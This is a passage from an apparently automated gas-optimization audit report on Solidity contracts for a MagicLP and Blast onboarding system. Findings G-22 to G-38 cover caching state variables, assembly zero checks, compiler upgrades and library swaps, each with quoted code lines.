Unused local variables to save gas.
There are 2 instances:
34: (uint256 baseReserve, uint256 quoteReserve) = pair.getReserves();
34: (uint256 baseReserve, uint256 quoteReserve) = pair.getReserves();[G-22] Use assembly to validate msg.sender
We can use assembly to efficiently validate msg.sender with the least amount of opcodes necessary. For more details check the following report Here
There are 2 instances:
- BlastMagicLP.sol ( 119-119 ):
119: if (!BlastMagicLP(address(implementation)).operators(msg.sender) && msg.sender != implementation.owner()) {- MagicLP.sol ( 608-608 ):
608: if (msg.sender != implementation.owner()) {[G-23] Using assembly to check for zero can save gas
Using assembly to check for zero can save gas by allowing more direct access to the evm and reducing some of the overhead associated with high-level operations in solidity.
There are 56 instances (click to show):
25: if (feeTo_ == address(0)) {
28: if (address(registry_) == address(0)) {
73: if (feeTo_ == address(0)) {16: if (feeTo_ == address(0)) {
41: if(_feeTo == address(0)) {24: if (feeTo_ == address(0)) {
27: if (address(registry_) == address(0)) {
81: if (feeTo_ == address(0)) {85: if (address(registry_) == address(0)) {
89: if (feeTo_ == address(0)) {
148: if (feeTo_ == address(0)) {64: if (shares == 0) {
97: if (pool != address(0)) {
158: if (totalLocked == 0) {- BlastTokenRegistry.sol ( 15-15 ):
15: if (token == address(0)) {21: if (governor_ == address(0)) {
35: if (governor_ == address(0)) {
48: if (governor_ == address(0)) {369: if (baseInput == 0) {
375: if (totalSupply() == 0) {
377: if (quoteBalance == 0) {
385: if (_QUOTE_TARGET_ == 0) {23: if (maintainer_ == address(0)) {
35: if (implementation == address(0)) {
47: if (maintainer_ == address(0)) {- DecimalMath.sol ( 48-48 ):
48: if (e == 0) {52: if (V0 == 0) {
58: if (k == 0) {
80: if (k == 0) {
89: if (V1 == 0) {
94: if (ki == 0) {
132: if (V0 == 0) {
136: if (delta == 0) {
140: if (k == 0) {
153: if (idelta == 0) {
192: if (numerator == 0) {39: if (implementation_ == address(0)) {
42: if (address(maintainerFeeRateModel_) == address(0)) {
97: if (implementation_ == address(0)) {
106: if (address(maintainerFeeRateModel_) == address(0)) {125: if (baseInAmount == 0) {
131: if (totalSupply == 0) {
132: if (quoteBalance == 0) {
327: if (directions & 1 == 0) {
348: if (directions & 1 == 0) {
379: if ((directions >> lastLpIndex) & 1 == 0) {
392: if (directions & 1 == 0) {
521: if (IERC20(lp).totalSupply() == 0) {
545: if (directions & 1 == 0) {131: if (_lockDuration % _rewardsDuration != 0) {
156: if (amount == 0) {
171: if (amount == 0) {
278: if (totalSupply_ == 0) {
301: if (rewardToken == address(0)) {
410: if (locks.length == 0) {
459: if (amount == 0) {[G-24] Consider using OZ EnumerateSet in place of nested mappings
Nested mappings and multi-dimensional arrays involve a double hashing process, which can be costly in terms of gas due to the repeated hashing and storage operations. An optimization approach is to manually concatenate keys and perform a single hash and storage operation, but this increases the risk of storage collisions, especially when there are other nested hash maps using the same key types. OpenZeppelin’s EnumerableSet offers a solution by combining set operations with element enumeration, providing a gas-efficient and collision-resistant alternative for certain scenarios where nested mappings or multi-dimensional arrays are used in Solidity.
There are 4 instances:
- BlastOnboarding.sol ( 41-41 ):
41: mapping(address user => mapping(address token => Balances)) public balances;- Factory.sol ( 35-35 ):
35: mapping(address base => mapping(address quote => address[] pools)) public pools;94: mapping(address user => mapping(address token => uint256 amount)) public userRewardPerTokenPaid;
95: mapping(address user => mapping(address token => uint256 amount)) public rewards;[G-25] Consider using solady’s FixedPointMathLib
Saves gas, and works to avoid unnecessary overflows.
There are 33 instances (click to show):
- BlastOnboardingBoot.sol ( 163-163 ):
163: return (userLocked * totalPoolShares) / totalLocked;435: baseAmount = (baseBalance * shareAmount) / totalShares;
436: quoteAmount = (quoteBalance * shareAmount) / totalShares;
513: _BASE_TARGET_ = uint112((uint256(_BASE_TARGET_) * baseBalance) / uint256(_BASE_RESERVE_));
517: _QUOTE_TARGET_ = uint112((uint256(_QUOTE_TARGET_) * quoteBalance) / uint256(_QUOTE_RESERVE_));24: return (target * d) / ONE;
32: return (target * ONE) / d;
54: p = (p * p) / ONE;
56: p = (p * target) / ONE;62: uint256 V0V0V1V2 = DecimalMath.divFloor((V0 * V0) / V1, V2);
64: return (((DecimalMath.ONE - k) + penalty) * fairAmount) / DecimalMath.ONE2;
96: } else if ((ki * delta) / ki == delta) {
97: _sqrt = sqrt(((ki * delta) / V1) + DecimalMath.ONE2);
99: _sqrt = sqrt(((ki / V1) * delta) + DecimalMath.ONE2);
155: } else if ((idelta * V1) / idelta == V1) {
156: temp = (idelta * V1) / (V0 * V0);
158: temp = (((delta * V1) / V0) * i) / V0;
160: return (V1 * temp) / (temp + DecimalMath.ONE);
170: uint256 part2 = (((k * V0) / V1) * V0) + (i * delta); // kQ0^2/Q1-i*deltaB205: uint256 R = DecimalMath.divFloor((state.Q0 * state.Q0) / state.Q, state.Q);
209: uint256 R = DecimalMath.divFloor((state.B0 * state.B0) / state.B, state.B);257: baseAmountOut = (baseBalance * sharesIn) / totalShares;
258: quoteAmountOut = (quoteBalance * sharesIn) / totalShares;- MagicLpAggregator.sol ( 45-45 ):
45: return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());236: return unlockedSupply + ((lockedSupply * lockingBoostMultiplerInBips) / BIPS);
241: return bal.unlocked + ((bal.locked * lockingBoostMultiplerInBips) / BIPS);
258: return (block.timestamp / rewardsDuration) * rewardsDuration;
283: uint256 pendingRewardsPerToken = (timeElapsed * _rewardData[rewardToken].rewardRate * 1e18) / totalSupply_;
294: return ((balance_ * pendingUserRewardsPerToken) / 1e18) + rewards[user][rewardToken];[G-26] Avoid zero transfer to save gas
In Solidity, unnecessary operations can waste gas. For example, a transfer function without a zero amount check uses gas even if called with a zero amount, since the contract state remains unchanged. Implementing a zero amount check avoids these unnecessary function calls, saving gas and improving efficiency.
There are 30 instances (click to show):
102: token.safeTransferFrom(msg.sender, address(this), amount);
138: token.safeTransfer(msg.sender, amount);
210: token.safeTransfer(to, amount);- MagicLP.sol ( 466-466 ):
466: token.safeTransfer(to, amount);- Router.sol ( 68-68, 69-69, 91-91, 92-92, 172-172, 173-173, 186-186, 187-187, 217-217, 224-224, 244-244, 246-246, 311-311, 328-328, 330-330, 360-360, 393-393, 395-395, 411-411, 428-428, 443-443, 456-456, 474-474, 489-489 ):
68: baseToken.safeTransferFrom(msg.sender, clone, baseInAmount);
69: quoteToken.safeTransferFrom(msg.sender, clone, quoteInAmount);
91: token.safeTransferFrom(msg.sender, clone, tokenInAmount);
92: address(weth).safeTransferFrom(address(this), clone, msg.value);
172: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, baseAdjustedInAmount);
173: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, quoteAdjustedInAmount);
186: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, baseInAmount);
187: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, quoteInAmount);
217: address(weth).safeTransfer(lp, wethAdjustedAmount);
224: token.safeTransferFrom(msg.sender, lp, tokenAdjustedAmount);
244: address(weth).safeTransfer(lp, msg.value);
246: token.safeTransferFrom(msg.sender, lp, tokenInAmount);
311: token.safeTransfer(to, tokenAmountOut);
328: IMagicLP(firstLp)._BASE_TOKEN_().safeTransferFrom(msg.sender, address(firstLp), amountIn);
330: IMagicLP(firstLp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, address(firstLp), amountIn);
360: inToken.safeTransfer(address(firstLp), msg.value);
393: IMagicLP(firstLp)._BASE_TOKEN_().safeTransferFrom(msg.sender, firstLp, amountIn);
395: IMagicLP(firstLp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, firstLp, amountIn);
411: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);
428: baseToken.safeTransfer(lp, msg.value);
443: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);
456: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);
474: quoteToken.safeTransfer(lp, msg.value);
489: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);330: tokenAddress.safeTransfer(owner, tokenAmount);
367: rewardToken.safeTransferFrom(msg.sender, address(this), amount);[G-27] Cache address(this) when used more than once
Caching address(this) when used more than once can save gas.
There are 25 instances (click to show):
106: (pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);
117: staking = new LockingMultiRewards(pool, 30_000, 7 days, 13 weeks, address(this));
118: staking.setOperator(address(this), true);21: if (IERC20Rebasing(token).getConfiguration(address(this)) == YieldMode.CLAIMABLE) {
26: emit LogBlastTokenClaimableEnabled(address(this), token);- MagicLP.sol ( 245-245, 262-262, 268-268, 285-285, 298-298, 299-299, 361-361, 362-362, 427-427, 431-431, 432-432, 505-505, 506-506, 529-529, 530-530, 568-568, 569-569 ):
245: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
262: _setReserve(baseBalance, _QUOTE_TOKEN_.balanceOf(address(this)));
268: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
285: _setReserve(_BASE_TOKEN_.balanceOf(address(this)), quoteBalance);
298: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
299: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
361: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
362: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
427: if (to == address(this)) {
431: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
432: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
505: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
506: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
529: baseBalance = _BASE_TOKEN_.balanceOf(address(this));
530: quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
568: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
569: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));282: lp.safeTransferFrom(msg.sender, address(this), sharesIn);
289: address(this),
298: address(this),[G-28] State variable read in a loop
The state variable should be cached in and read from a local variable, or accumulated in a local variable then written to storage once outside of the loop, rather than reading/updating it on every iteration of the loop, which will replace each Gwarmaccess (100 gas) with a much cheaper stack read.
There are 2 instances:
- BlastOnboarding.sol ( 165-172 ):
/// @audit registry
/// @audit feeTo
165: for (uint256 i = 0; i < tokens.length; i++) {
166: if (!supportedTokens[tokens[i]]) {
167: revert ErrUnsupportedToken();
168: }
169: if (registry.nativeYieldTokens(tokens[i])) {
170: BlastYields.claimAllTokenYields(tokens[i], feeTo);
171: }
172: }[G-29] State variable written in a loop
The code should be refactored such that updates made to the state variable are instead accumulated/tracked in a local variable, then be written a single time outside the loop, converting a Gsreset (2900 gas) to a stack write for each iteration.
There is 1 instance (click to show):
- LockingMultiRewards.sol ( 405-452 ):
/// @audit unlockedSupply
/// @audit lockedSupply
405: for (uint256 i; i < users.length; ) {
406: address user = users[i];
407: Balances storage bal = _balances[user];
408: LockedBalance[] storage locks = _userLocks[user];
409:
410: if (locks.length == 0) {
411: revert ErrNoLocks();
412: }
413:
414: uint256 index = lockIndexes[i];
415:
416: // Prevents processing `lastLockIndex` out of order
417: if (index == lastLockIndex[user] && locks.length > 1) {
418: revert ErrInvalidLockIndex();
419: }
420:
421: // prohibit releasing non-expired locks
422: if (locks[index].unlockTime > block.timestamp) {
423: revert ErrLockNotExpired();
424: }
425:
426: uint256 amount = locks[index].amount;
427: uint256 lastIndex = locks.length - 1;
428:
429: /// Last lock index changed place with the one we just swapped.
430: if (lastLockIndex[user] == lastIndex) {
431: lastLockIndex[user] = index;
432: }
433:
434: if (index != lastIndex) {
435: locks[index] = locks[lastIndex];
436: emit LogLockIndexChanged(user, lastIndex, index);
437: }
438:
439: locks.pop();
440:
441: unlockedSupply += amount;
442: lockedSupply -= amount;
443:
444: bal.unlocked += amount;
445: bal.locked -= amount;
446:
447: emit LogUnlocked(user, amount, index);
448:
449: unchecked {
450: ++i;
451: }
452: }[G-30] Unlimited gas consumption risk due to external call recipients
When calling an external function without specifying a gas limit , the called contract may consume all the remaining gas, causing the tx to be reverted. To mitigate this, it is recommended to explicitly set a gas limit when making low level external calls.
There is 1 instance:
- BlastGovernor.sol ( 54-54 ):
54: (success, result) = to.call{value: value}(data);[G-31] Optimize names to save gas
public/external function names and public member variable names can be optimized to save gas. Below are the interfaces/abstract contracts that can be optimized so that the most frequently-called functions use the least amount of gas possible during method lookup. Method IDs that have two leading zero bytes can save 128 gas each during deployment, and renaming functions to have lower method IDs will save 22 gas per call, per sorted position shifted.
There are 14 instances (click to show):
- BlastBox.sol ( 13 ):
/// @audit claimGasYields(), claimTokenYields(), callBlastPrecompile(), setFeeTo(), setTokenEnabled(), registry, enabledTokens, feeTo
13: contract BlastBox is DegenBox, OperatableV3 {- BlastGovernor.sol ( 7 ):
/// @audit claimNativeYields(), claimMaxGasYields(), setFeeTo(), callBlastPrecompile(), execute(), feeTo
7: contract BlastGovernor is OperatableV2 {- BlastMagicLP.sol ( 10 ):
/// @audit version(), claimGasYields(), claimTokenYields(), updateTokenClaimables(), callBlastPrecompile(), setFeeTo(), setOperator(), registry, feeTo, operators
10: contract BlastMagicLP is MagicLP {/// @audit state, bootstrapper, feeTo, registry, supportedTokens, totals, caps, balances
12: contract BlastOnboardingData is Owned, Pausable {
/// @audit deposit(), lock(), withdraw(), setFeeTo(), callBlastPrecompile(), claimGasYields(), claimTokenYields(), setTokenSupported(), setCap(), setBootstrapper(), open(), close(), rescue(), pause(), unpause()
64: contract BlastOnboarding is BlastOnboardingData, Proxy {/// @audit pool, router, factory, totalPoolShares, ready, staking, claimed
23: contract BlastOnboardingBootDataV1 is BlastOnboardingData {
/// @audit claim(), claimable(), previewTotalPoolShares(), bootstrap(), initialize(), setStaking(), setReady()
34: contract BlastOnboardingBoot is BlastOnboardingBootDataV1 {- BlastTokenRegistry.sol ( 6 ):
/// @audit setNativeYieldTokenEnabled(), nativeYieldTokens
6: contract BlastTokenRegistry is Owned {- MagicLP.sol ( 25 ):
/// @audit init(), sync(), correctRState(), querySellBase(), querySellQuote(), getPMMState(), getPMMStateForCall(), getMidPrice(), getReserves(), getUserFeeRate(), getBaseInput(), getQuoteInput(), version(), sellBase(), sellQuote(), flashLoan(), buyShares(), sellShares(), rescue(), setParameters(), ratioSync(), implementation, MAX_I, MAX_K, MIN_LP_FEE_RATE, MAX_LP_FEE_RATE, _BASE_TOKEN_, _QUOTE_TOKEN_, _BASE_RESERVE_, _QUOTE_RESERVE_, _BLOCK_TIMESTAMP_LAST_, _BASE_PRICE_CUMULATIVE_LAST_, _BASE_TARGET_, _QUOTE_TARGET_, _RState_, _MT_FEE_RATE_MODEL_, _LP_FEE_RATE_, _K_, _I_
25: contract MagicLP is ERC20, ReentrancyGuard, Owned {- FeeRateModel.sol ( 13 ):
/// @audit getFeeRate(), setMaintainer(), setImplementation(), maintainer, implementation
13: contract FeeRateModel is Owned {- Factory.sol ( 11 ):
/// @audit getPoolCount(), getUserPoolCount(), predictDeterministicAddress(), create(), setLpImplementation(), setMaintainerFeeRateModel(), addPool(), removePool(), implementation, maintainerFeeRateModel, pools, userPools
11: contract Factory is Owned {- Router.sol ( 12 ):
/// @audit createPool(), createPoolETH(), previewCreatePool(), previewAddLiquidity(), addLiquidity(), addLiquidityUnsafe(), addLiquidityETH(), addLiquidityETHUnsafe(), previewRemoveLiquidity(), removeLiquidity(), removeLiquidityETH(), swapTokensForTokens(), swapETHForTokens(), swapTokensForETH(), sellBaseTokensForTokens(), sellBaseETHForTokens(), sellBaseTokensForETH(), sellQuoteTokensForTokens(), sellQuoteETHForTokens(), sellQuoteTokensForETH(), MAX_BASE_QUOTE_DECIMALS_DIFFERENCE, weth, factory
12: contract Router {- MagicLpAggregator.sol ( 9 ):
/// @audit latestAnswer(), latestRoundData(), pair, baseOracle, quoteOracle, baseDecimals, quoteDecimals, WAD
9: contract MagicLpAggregator is IAggregator {- LockingMultiRewards.sol ( 14 ):
/// @audit stake(), lock(), withdraw(), withdrawWithRewards(), getRewards(), rewardData(), rewardsForDuration(), rewardTokensLength(), balances(), userRewardLock(), userLocks(), userLocksLength(), locked(), unlocked(), nextUnlockTime(), epoch(), nextEpoch(), remainingEpochTime(), lastTimeRewardApplicable(), rewardPerToken(), _rewardPerToken(), earned(), addReward(), setMinLockAmount(), recover(), pause(), unpause(), stakeFor(), notifyRewardAmount(), processExpiredLocks(), maxLocks, lockingBoostMultiplerInBips, rewardsDuration, lockDuration, stakingToken, userRewardPerTokenPaid, rewards, lastLockIndex, rewardTokens, lockedSupply, unlockedSupply, minLockAmount, stakingTokenBalance
14: contract LockingMultiRewards is OperatableV2, Pausable {[G-32] Reduce gas usage by moving to Solidity 0.8.19 or later
Solidity version 0.8.19 introduced a number of gas optimizations, refer to the Solidity 0.8.19 Release Announcement for details.
There are 20 instances (click to show):
- BlastBox.sol ( 3 ):
3: pragma solidity >=0.8.0;- BlastDapp.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastGovernor.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastMagicLP.sol ( 3 ):
3: pragma solidity >=0.8.0;- BlastOnboarding.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastOnboardingBoot.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastTokenRegistry.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastWrappers.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastPoints.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastYields.sol ( 2 ):
2: pragma solidity >=0.8.0;- MagicLP.sol ( 8 ):
8: pragma solidity >=0.8.0;- FeeRateModel.sol ( 8 ):
8: pragma solidity >=0.8.0;- FeeRateModelImpl.sol ( 2 ):
2: pragma solidity >=0.8.0;- DecimalMath.sol ( 7 ):
7: pragma solidity >=0.8.0;- Math.sol ( 8 ):
8: pragma solidity >=0.8.0;- PMMPricing.sol ( 8 ):
8: pragma solidity >=0.8.0;- Factory.sol ( 2 ):
2: pragma solidity >=0.8.0;- Router.sol ( 2 ):
2: pragma solidity >=0.8.0;- MagicLpAggregator.sol ( 2 ):
2: pragma solidity >=0.8.0;- LockingMultiRewards.sol ( 2 ):
2: pragma solidity >=0.8.0;[G-33] Newer versions of solidity are more gas efficient
The solidity language continues to pursue more efficient gas optimization schemes. Adopting a newer version of solidity can be more gas efficient.
There are 20 instances (click to show):
- BlastBox.sol ( 3 ):
3: pragma solidity >=0.8.0;- BlastDapp.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastGovernor.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastMagicLP.sol ( 3 ):
3: pragma solidity >=0.8.0;- BlastOnboarding.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastOnboardingBoot.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastTokenRegistry.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastWrappers.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastPoints.sol ( 2 ):
2: pragma solidity >=0.8.0;- BlastYields.sol ( 2 ):
2: pragma solidity >=0.8.0;- MagicLP.sol ( 8 ):
8: pragma solidity >=0.8.0;- FeeRateModel.sol ( 8 ):
8: pragma solidity >=0.8.0;- FeeRateModelImpl.sol ( 2 ):
2: pragma solidity >=0.8.0;- DecimalMath.sol ( 7 ):
7: pragma solidity >=0.8.0;- Math.sol ( 8 ):
8: pragma solidity >=0.8.0;- PMMPricing.sol ( 8 ):
8: pragma solidity >=0.8.0;- Factory.sol ( 2 ):
2: pragma solidity >=0.8.0;- Router.sol ( 2 ):
2: pragma solidity >=0.8.0;- MagicLpAggregator.sol ( 2 ):
2: pragma solidity >=0.8.0;- LockingMultiRewards.sol ( 2 ):
2: pragma solidity >=0.8.0;[G-34] Avoid updating storage when the value hasn’t changed
Manipulating storage in solidity is gas-intensive. It can be optimized by avoiding unnecessary storage updates when the new value equals the existing value. If the old value is equal to the new value, not re-storing the value will avoid a Gsreset (2900 gas), potentially at the expense of a Gcoldsload (2100 gas) or a Gwarmaccess (100 gas).
There are 54 instances (click to show):
77: feeTo = feeTo_;
82: enabledTokens[token] = enabled;- BlastGovernor.sol ( 45-45 ):
45: feeTo = _feeTo;85: feeTo = feeTo_;
90: operators[operator] = status;152: feeTo = feeTo_;
176: supportedTokens[token] = supported;
186: caps[token] = cap;
191: bootstrapper = bootstrapper_;
196: state = State.Opened;
201: state = State.Closed;142: staking = _staking;
147: ready = _ready;- BlastTokenRegistry.sol ( 19-19 ):
19: nativeYieldTokens[token] = enabled;- MagicLP.sol ( 140-140, 141-141, 142-142, 145-145, 146-146, 147-147, 257-257, 258-258, 280-280, 281-281, 321-321, 322-322, 343-343, 344-344, 382-382, 383-383, 402-402, 403-403, 493-493, 494-494, 495-495, 514-514, 518-518, 536-536, 537-537, 538-538, 539-539, 540-540, 557-557, 561-561, 562-562, 572-572, 575-575 ):
140: _RState_ = uint32(PMMPricing.RState.ONE);
141: _BASE_TARGET_ = _BASE_RESERVE_;
142: _QUOTE_TARGET_ = _QUOTE_RESERVE_;
145: _RState_ = uint32(PMMPricing.RState.ONE);
146: _BASE_TARGET_ = _BASE_RESERVE_;
147: _QUOTE_TARGET_ = _QUOTE_RESERVE_;
257: _BASE_TARGET_ = newBaseTarget.toUint112();
258: _RState_ = uint32(newRState);
280: _QUOTE_TARGET_ = newQuoteTarget.toUint112();
281: _RState_ = uint32(newRState);
321: _QUOTE_TARGET_ = newQuoteTarget.toUint112();
322: _RState_ = uint32(newRState);
343: _BASE_TARGET_ = newBaseTarget.toUint112();
344: _RState_ = uint32(newRState);
382: _BASE_TARGET_ = shares.toUint112();
383: _QUOTE_TARGET_ = DecimalMath.mulFloor(shares, _I_).toUint112();
402: _BASE_TARGET_ = (uint256(_BASE_TARGET_) + DecimalMath.mulFloor(uint256(_BASE_TARGET_), mintRatio)).toUint112();
403: _QUOTE_TARGET_ = (uint256(_QUOTE_TARGET_) + DecimalMath.mulFloor(uint256(_QUOTE_TARGET_), mintRatio)).toUint112();
493: _LP_FEE_RATE_ = uint64(newLpFeeRate);
494: _K_ = uint64(newK);
495: _I_ = uint128(newI);
514: _BASE_RESERVE_ = uint112(baseBalance);
518: _QUOTE_RESERVE_ = uint112(quoteBalance);
536: _BASE_RESERVE_ = uint112(baseBalance);
537: _QUOTE_RESERVE_ = uint112(quoteBalance);
538: _BASE_TARGET_ = uint112(baseBalance);
539: _QUOTE_TARGET_ = uint112(quoteBalance);
540: _RState_ = uint32(PMMPricing.RState.ONE);
557: _BLOCK_TIMESTAMP_LAST_ = blockTimestamp;
561: _BASE_RESERVE_ = baseReserve.toUint112();
562: _QUOTE_RESERVE_ = quoteReserve.toUint112();
572: _BASE_RESERVE_ = baseBalance.toUint112();
575: _QUOTE_RESERVE_ = quoteBalance.toUint112();51: maintainer = maintainer_;
58: implementation = implementation_;101: implementation = implementation_;
110: maintainerFeeRateModel = maintainerFeeRateModel_;319: minLockAmount = _minLockAmount;
537: rewards[user_][token_] = _earned(user_, balance_, token_, rewardPerToken_);
538: userRewardPerTokenPaid[user_][token_] = rewardPerToken_;[G-35] Same cast is done multiple times
It’s cheaper to do it once, and store the result to a variable. The examples below are the second+ instance of a given cast of the variable.
There are 14 instances (click to show):
145: _RState_ = uint32(PMMPricing.RState.ONE);
258: _RState_ = uint32(newRState);
281: _RState_ = uint32(newRState);
315: if (uint256(_BASE_RESERVE_) - baseBalance > receiveBaseAmount) {
322: _RState_ = uint32(newRState);
337: if (uint256(_QUOTE_RESERVE_) - quoteBalance > receiveQuoteAmount) {
342: if (_RState_ != uint32(newRState)) {
344: _RState_ = uint32(newRState);
402: _BASE_TARGET_ = (uint256(_BASE_TARGET_) + DecimalMath.mulFloor(uint256(_BASE_TARGET_), mintRatio)).toUint112();
403: _QUOTE_TARGET_ = (uint256(_QUOTE_TARGET_) + DecimalMath.mulFloor(uint256(_QUOTE_TARGET_), mintRatio)).toUint112();
438: _BASE_TARGET_ = uint112(uint256(_BASE_TARGET_) - (uint256(_BASE_TARGET_) * shareAmount).divCeil(totalShares));
439: _QUOTE_TARGET_ = uint112(uint256(_QUOTE_TARGET_) - (uint256(_QUOTE_TARGET_) * shareAmount).divCeil(totalShares));
538: _BASE_TARGET_ = uint112(baseBalance);
539: _QUOTE_TARGET_ = uint112(quoteBalance);[G-36] State variables that are used multiple times in a function should be cached in stack variables
When performing multiple operations on a state variable in a function, it is recommended to cache it first. Either multiple reads or multiple writes to a state variable can save gas by caching it on the stack. Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses. Saves 100 gas per instance.
There are 34 instances (click to show):
/// @audit _BASE_TOKEN_: 2 reads
/// @audit _QUOTE_TOKEN_: 2 reads
53: function claimTokenYields() external onlyClones onlyImplementationOperators returns (uint256 token0Amount, uint256 token1Amount) {
/// @audit _BASE_TOKEN_: 2 reads
/// @audit _QUOTE_TOKEN_: 2 reads
104: function _updateTokenClaimables() internal {- BlastOnboarding.sol ( 101 ):
/// @audit totals[token].total: 2 reads 1 writes
101: function deposit(address token, uint256 amount, bool lock_) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {- BlastOnboardingBoot.sol ( 96 ):
/// @audit pool: 6 reads
/// @audit totalPoolShares: 5 reads
/// @audit staking: 5 reads 1 writes
/// @audit router: 3 reads
96: function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {/// @audit _RState_: 2 reads 2 writes
/// @audit _BASE_RESERVE_: 3 reads
/// @audit _BASE_TARGET_: 1 reads 2 writes
/// @audit _QUOTE_RESERVE_: 3 reads
/// @audit _QUOTE_TARGET_: 1 reads 2 writes
138: function correctRState() external {
/// @audit _BASE_TOKEN_: 2 reads
/// @audit _QUOTE_TOKEN_: 2 reads
244: function sellBase(address to) external nonReentrant returns (uint256 receiveQuoteAmount) {
/// @audit _QUOTE_TOKEN_: 2 reads
/// @audit _BASE_TOKEN_: 2 reads
267: function sellQuote(address to) external nonReentrant returns (uint256 receiveBaseAmount) {
/// @audit _BASE_RESERVE_: 4 reads
/// @audit _QUOTE_RESERVE_: 4 reads
/// @audit _BASE_TOKEN_: 3 reads
/// @audit _QUOTE_TOKEN_: 3 reads
/// @audit _RState_: 2 reads 2 writes
/// @audit _MT_FEE_RATE_MODEL_: 2 reads
290: function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external nonReentrant {
/// @audit _BASE_TARGET_: 2 reads 2 writes
/// @audit _QUOTE_TARGET_: 3 reads 2 writes
/// @audit _I_: 3 reads
360: function buyShares(address to) external nonReentrant returns (uint256 shares, uint256 baseInput, uint256 quoteInput) {
/// @audit _BASE_TARGET_: 2 reads 1 writes
/// @audit _QUOTE_TARGET_: 2 reads 1 writes
413: function sellShares(
/// @audit _BASE_RESERVE_: 2 reads 1 writes
/// @audit _QUOTE_RESERVE_: 2 reads 1 writes
504: function ratioSync() external nonReentrant onlyImplementationOwner {- FeeRateModel.sol ( 34 ):
/// @audit implementation: 2 reads
34: function getFeeRate(address trader, uint256 lpFeeRate) external view returns (uint256 adjustedLpFeeRate, uint256 mtFeeRate) {- Factory.sol ( 81 ):
/// @audit maintainerFeeRateModel: 2 reads
81: function create(address baseToken_, address quoteToken_, uint256 lpFeeRate_, uint256 i_, uint256 k_) external returns (address clone) {- LockingMultiRewards.sol ( 277 ):
/// @audit _rewardData[rewardToken].rewardPerTokenStored: 2 reads
277: function _rewardPerToken(address rewardToken, uint256 lastTimeRewardApplicable_, uint256 totalSupply_) public view returns (uint256) {[G-37] Use solady library where possible to save gas
The following OpenZeppelin imports have a Solady equivalent, as such they can be used to save GAS as Solady modules have been specifically designed to be as GAS efficient as possible.
There are 8 instances (click to show):
7: import {Proxy} from "openzeppelin-contracts/proxy/Proxy.sol";
10: import {Pausable} from "openzeppelin-contracts/security/Pausable.sol";- BlastYields.sol ( 5-5 ):
5: import {Address} from "openzeppelin-contracts/utils/Address.sol";- MagicLP.sol ( 11-11 ):
11: import {IERC20Metadata} from "openzeppelin-contracts/interfaces/IERC20Metadata.sol";5: import {IERC20} from "openzeppelin-contracts/interfaces/IERC20.sol";
10: import {IERC20Metadata} from "openzeppelin-contracts/interfaces/IERC20Metadata.sol";- MagicLpAggregator.sol ( 5-5 ):
5: import {IERC20Metadata} from "openzeppelin-contracts/interfaces/IERC20Metadata.sol";- LockingMultiRewards.sol ( 5-5 ):
5: import {Pausable} from "openzeppelin-contracts/security/Pausable.sol";[G-38] Use the inputs/results of assignments rather than re-reading state variables
When a state variable is assigned, it saves gas to use the value being assigned, later in the function, rather than re-reading the state variable itself. If needed, it can also be stored to a local variable, and be used in that way. Both options avoid a Gwarmaccess (100 gas). Note that if the operation is, say +=, the assignment also results in a value which can be used. The instances below point to the first reference after the assignment, since later references are already covered by issues describing the caching of state variable values.
There are 27 instances (click to show):
/// @audit use result of assignment of staking
118: staking.setOperator(address(this), true);
/// @audit use result of assignment of staking
119: staking.transferOwnership(owner);
/// @audit use result of assignment of staking
122: pool.safeApprove(address(staking), totalPoolShares);
/// @audit use result of assignment of staking
124: emit LogLiquidityBootstrapped(pool, address(staking), totalPoolShares);
/// @audit use result of assignment of staking
126: return (pool, address(staking), totalPoolShares);
/// @audit use result of assignment of router
131: factory = IFactory(router.factory());
/// @audit use result of assignment of ready
